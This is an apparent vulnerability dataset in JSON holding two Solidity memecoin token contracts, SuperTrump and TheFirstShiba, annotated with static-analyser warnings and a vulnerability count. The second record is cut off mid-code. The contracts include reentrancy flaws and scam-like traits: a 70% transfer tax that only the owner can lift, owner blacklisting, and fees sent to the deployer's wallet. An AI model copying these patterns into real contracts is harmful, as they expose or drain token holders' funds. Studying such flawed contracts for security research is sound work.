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{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract SuperTrump is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 20a1d7e): SuperTrump._taxWallet should be immutable \n\t// Recommendation for 20a1d7e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 40e0a09): SuperTrump._initialBuyTax should be constant \n\t// Recommendation for 40e0a09: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0fac7f1): SuperTrump._initialSellTax should be constant \n\t// Recommendation for 0fac7f1: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7f1dd23): SuperTrump._reduceBuyTaxAt should be constant \n\t// Recommendation for 7f1dd23: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 622ea54): SuperTrump._reduceSellTaxAt should be constant \n\t// Recommendation for 622ea54: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: ddf4f50): SuperTrump._preventSwapBefore should be constant \n\t// Recommendation for ddf4f50: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 27;\n\n uint256 private _transferTax = 70;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Super Trump\";\n\n string private constant _symbol = unicode\"sTRUMP\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: b4be170): SuperTrump._taxSwapThreshold should be constant \n\t// Recommendation for b4be170: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: f925f0e): SuperTrump._maxTaxSwap should be constant \n\t// Recommendation for f925f0e: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 830e95e): SuperTrump.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 830e95e: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c5e217e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c5e217e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 11ca3b2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 11ca3b2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: c5e217e\n\t\t// reentrancy-benign | ID: 11ca3b2\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: c5e217e\n\t\t// reentrancy-benign | ID: 11ca3b2\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: dd04d50): SuperTrump._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for dd04d50: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 11ca3b2\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: c5e217e\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c516133): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c516133: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 956eab3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 956eab3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: c516133\n\t\t\t\t// reentrancy-eth | ID: 956eab3\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: c516133\n\t\t\t\t\t// reentrancy-eth | ID: 956eab3\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 956eab3\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 956eab3\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 956eab3\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: c516133\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 956eab3\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 956eab3\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: c516133\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: c5e217e\n\t\t// reentrancy-events | ID: c516133\n\t\t// reentrancy-benign | ID: 11ca3b2\n\t\t// reentrancy-eth | ID: 956eab3\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 1987ebf): SuperTrump.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 1987ebf: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: c5e217e\n\t\t// reentrancy-events | ID: c516133\n\t\t// reentrancy-eth | ID: 956eab3\n\t\t// arbitrary-send-eth | ID: 1987ebf\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 42d0216): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 42d0216: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: fd64a5c): SuperTrump.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for fd64a5c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6e23ed9): SuperTrump.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 6e23ed9: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 780fd9e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 780fd9e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 42d0216\n\t\t// reentrancy-eth | ID: 780fd9e\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 42d0216\n\t\t// unused-return | ID: 6e23ed9\n\t\t// reentrancy-eth | ID: 780fd9e\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 42d0216\n\t\t// unused-return | ID: fd64a5c\n\t\t// reentrancy-eth | ID: 780fd9e\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 42d0216\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 780fd9e\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10718.sol",
"size_bytes": 20411,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract TheFirstShiba is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: d4dea15): TheFirstShiba.bots is never initialized. It is used in TheFirstShiba._transfer(address,address,uint256)\n\t// Recommendation for d4dea15: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 14bcfe9): TheFirstShiba._taxWallet should be immutable \n\t// Recommendation for 14bcfe9: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2d119b1): TheFirstShiba._initialBuyTax should be constant \n\t// Recommendation for 2d119b1: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: d8c4609): TheFirstShiba._initialSellTax should be constant \n\t// Recommendation for d8c4609: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a0efdae): TheFirstShiba._reduceBuyTaxAt should be constant \n\t// Recommendation for a0efdae: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: ca057aa): TheFirstShiba._reduceSellTaxAt should be constant \n\t// Recommendation for ca057aa: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 652a97f): TheFirstShiba._preventSwapBefore should be constant \n\t// Recommendation for 652a97f: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _transferTax = 70;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Elon's First Shiba\";\n\n string private constant _symbol = unicode\"FLOKI\";\n\n uint256 public _maxTxAmount = 2000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2d22273): TheFirstShiba._taxSwapThreshold should be constant \n\t// Recommendation for 2d22273: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 07305eb): TheFirstShiba._maxTaxSwap should be constant \n\t// Recommendation for 07305eb: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1600000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ca92212): TheFirstShiba.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for ca92212: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 418945b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 418945b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2092d96): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2092d96: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 418945b\n\t\t// reentrancy-benign | ID: 2092d96\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 418945b\n\t\t// reentrancy-benign | ID: 2092d96\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1d5be2d): TheFirstShiba._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1d5be2d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 2092d96\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 418945b\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b64f3ed): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b64f3ed: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: d4dea15): TheFirstShiba.bots is never initialized. It is used in TheFirstShiba._transfer(address,address,uint256)\n\t// Recommendation for d4dea15: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a507b51): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a507b51: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: b64f3ed\n\t\t\t\t// reentrancy-eth | ID: a507b51\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: b64f3ed\n\t\t\t\t\t// reentrancy-eth | ID: a507b51\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: a507b51\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: a507b51\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: a507b51\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: b64f3ed\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: a507b51\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: a507b51\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: b64f3ed\n emit Transfer(from, to, 